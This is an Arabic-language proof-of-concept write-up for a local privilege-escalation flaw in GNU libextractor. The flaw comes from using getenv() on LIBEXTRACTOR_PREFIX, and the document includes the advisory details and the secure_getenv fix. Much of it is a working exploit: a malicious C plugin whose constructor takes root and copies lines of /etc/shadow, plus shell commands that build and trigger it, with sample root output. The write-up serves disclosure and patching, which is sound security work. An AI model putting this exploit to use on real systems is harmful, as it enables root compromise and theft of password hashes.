
إثبات مفهوم لـ CVE-2026-100310، وهو تصعيد صلاحيات محلي في GNU libextractor ≤1.15 عبر مسار البحث غير الموثوق LIBEXTRACTOR_PREFIX، مع كود الاستغلال وتحليل التصحيح.
تستخدم آلية تحميل الإضافات في GNU libextractor متغير البيئة LIBEXTRACTOR_PREFIX لتحديد المكان الذي يتم تحميل المكتبات المشتركة (إضافات .so) منه. ولأنها تستخدم getenv() بدلاً من secure_getenv()، فإن متغير البيئة هذا لا يُزال عندما تعمل إحدى العمليات بصلاحيات مرتفعة. يمكن للمهاجم تعيين LIBEXTRACTOR_PREFIX إلى دليل خبيث، مما يجبر أي تطبيق يحمّل إضافات libextractor على تنفيذ تعليمات برمجية عشوائية.
التأثير الأساسي: تصعيد الصلاحيات المحلي (LPE) إلى root.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-100310 |
| المنتج | GNU libextractor |
| الإصدارات المتأثرة | >= 0, < 1.16 |
| الإصدار المُصلَّح | 1.16 |
| CVSS 4.0 | 7.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| الخطورة | HIGH |
| CWE | CWE-426 (مسار بحث غير موثوق) |
| ناقل الهجوم | محلي |
| الصلاحيات المطلوبة | منخفضة |
| تفاعل المستخدم | لا يوجد |
| CNA | VulnCheck |
| الباحث | Haitam Lazaar |
ملاحظة: لكي تؤدي هذه الثغرة إلى تصعيد الصلاحيات المحلي، يجب أن يكون المسؤول قد أعدّ ملفاً تنفيذياً يرتبط بـ
libextractorمع بتsetuid. وبينما لا يأتيlibextractorنفسه بملف تنفيذيsetuid، فإن أي عملية مميزة أو خدمة نظام ترتبط ديناميكياً بهذه المكتبة وتفشل في تعقيم البيئة يدوياً تكون عرضة للاختراق الكامل.
setuid أو خدمة مميزة ترتبط بـ libextractor
يوضح الرسم المتحرك أعلاه الاستغلال. يقوم المهاجم بتجميع مكتبة مشتركة خبيثة (evil_plugin.c) ويضعها في /tmp/evil_plugins. ومن خلال تنفيذ ملف تنفيذي setuid يستخدم libextractor وإضافة البادئة LIBEXTRACTOR_PREFIX=/tmp/evil_plugins إلى الأمر، يقوم الرابط الديناميكي بتحميل الإضافة الخبيثة بصلاحيات مرتفعة. يؤدي هذا فوراً إلى تنفيذ أوامر عشوائية بصلاحيات root، كما يتضح من كتابة مخرجات id وملف /etc/shadow المقيّد إلى /tmp/privesc_proof.
يُفعَّل هذا الثغرة بشكل أساسي من خلال استغلال متغير البيئة LIBEXTRACTOR_PREFIX.
(ملاحظة: يحتوي libextractor أيضاً على بدائل احتياطية غير آمنة ثانوية تستخدم /proc/PID/maps وأدلة PATH القابلة للكتابة، لكن حقن متغير البيئة هو ناقل الهجوم الأكثر مباشرة وموثوقية).
/*
* evil_plugin.c — Malicious libextractor plugin for privilege escalation
* Compile: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
*
* Place in a directory and set LIBEXTRACTOR_PREFIX to that directory.
* When any setuid application loads the OLE2 plugin, this constructor
* escalates to full root (uid=0, gid=0) and runs arbitrary commands.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void pwn(void) {
/* Escalate: euid=0 allows setuid(0) which sets real uid=0 */
setuid(0);
setgid(0);
/* Now running as full root — shell commands work */
system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
system("id >> /tmp/privesc_proof");
system("echo '' >> /tmp/privesc_proof");
system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
system("head -3 /etc/shadow >> /tmp/privesc_proof");
}
int _EXTRACTOR_ole2_extract_method = 0;
تم الاختبار على Ubuntu 24.04 مع libextractor 1.14:
# 1. Compile the malicious plugin
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c
# 2. Simulate the misconfigured (setuid) target binary
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract
# 3. Trigger the exploit as an unprivileged user
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)
--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
في src/main/extractor_plugpath.c، تستدعي الدالة get_installation_paths() الدالة القياسية getenv():
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))
ولأنها لا تستخدم secure_getenv()، فإن الرابط الديناميكي لا يُزيل هذا المتغير عندما يعمل الملف التنفيذي بصلاحيات مرتفعة (على عكس LD_PRELOAD أو LD_LIBRARY_PATH). ثم يقوم lt_dlopenadvise() بتحميل libextractor_<name>.so بشكل أعمى من المسار الذي يتحكم فيه المهاجم.
أصلح المشرف هذا في الإصدار 1.16 باستبدال getenv() بـ secure_getenv()، التي تُرجع NULL عندما تعمل العملية بصلاحيات مرتفعة (euid != uid).
- if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+ if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))
اكتشفتها أنا (Haitam Lazaar) خلال بحثي الأمني المستقل.
شكر خاص لـ Christian Grothoff، المشرف على GNU libextractor، على سرعته المذهلة في الفرز، وتواصله المهني، ونشره السريع للتصحيحات (v1.15 وv1.16 وv1.17) لحل هذه المشكلة وعدة مشكلات أخرى متعلقة بسلامة الذاكرة تم الإبلاغ عنها خلال هذا التدقيق.
يُقدَّم بحثي لأغراض تعليمية ودفاعية. استخدمه بمسؤولية.